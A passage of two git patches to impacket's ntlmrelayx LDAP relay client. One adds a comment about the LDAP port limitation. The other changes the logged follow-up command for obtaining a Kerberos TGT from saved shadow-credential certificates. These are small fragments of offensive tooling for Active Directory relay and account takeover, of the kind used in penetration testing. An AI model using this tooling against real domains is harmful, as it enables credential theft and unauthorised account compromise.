existing descriptor to read as our account From e74fd0a1c9f208ade9e9cadad70089daedf1c5d9 Mon Sep 17 00:00:00 2001 From: Kali Date: Thu, 29 Oct 2026 12:00:30 -0300 Subject: [PATCH 5/6] Document LDAP bypass port limitation --- impacket/examples/ntlmrelayx/clients/ldaprelayclient.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py index 8cd2dda6fd..29c74e48fd 100644 --- a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py @@ -335,6 +335,8 @@ def bypassSaveShadowCredential(self): def bypassOpenSession(self): # A signed LDAP session as our own account, used for the base session and the read-back + # This bypass targets Microsoft AD on LDAP/389. TODO: honor self.targetPort when the + # remaining ldap3 code in this client is migrated to impacket.ldap. connection = LDAPConnection('ldap://%s' % self.targetHost, dstIp=self.targetHost, signing=True, timeout=10) connection.login(self.serverConfig.reauth_user, self.serverConfig.reauth_password, self.serverConfig.reauth_domain, self.serverConfig.reauth_lmhash, From a97ad5e30e2177d01ea577d5b8fe7578a813fb9c Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Thu, 29 Oct 2026 17:05:46 +0100 Subject: [PATCH 6/6] Point the shadow credentials output at getTGT.py for PKINIT --- impacket/examples/ntlmrelayx/clients/ldaprelayclient.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py index 29c74e48fd..8239177ef6 100644 --- a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py @@ -317,9 +317,8 @@ def bypassSaveShadowCredential(self): shadow_credentials.exportPEM(certificate, key, path_to_files=path) LOG.info("Saved PEM certificate at path: %s" % path + "_cert.pem") LOG.info("Saved PEM private key at path: %s" % path + "_priv.pem") - LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools") LOG.info("Run the following command to obtain a TGT") - LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s %s.ccache" % (path, path, domain, self.targetSam, path)) + LOG.info("python3 getTGT.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s" % (path, path, domain, self.targetSam)) else: if self.serverConfig.ShadowCredentialsPFXPassword is None: password = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(20)) @@ -329,9 +328,8 @@ def bypassSaveShadowCredential(self): shadow_credentials.exportPFX(certificate, key, password=password, path_to_file=path) LOG.info("Saved PFX (#PKCS12) certificate & key at path: %s" % path + ".pfx") LOG.info("Must be used with password: %s" % password) - LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools") LOG.info("Run the following command to obtain a TGT") - LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pfx %s.pfx -pfx-pass %s %s/%s %s.ccache" % (path, password, domain, self.targetSam, path)) + LOG.info("python3 getTGT.py -cert-pfx %s.pfx -pfx-pass %s %s/%s" % (path, password, domain, self.targetSam)) def bypassOpenSession(self): # A signed LDAP session as our own account, used for the base session and the read-back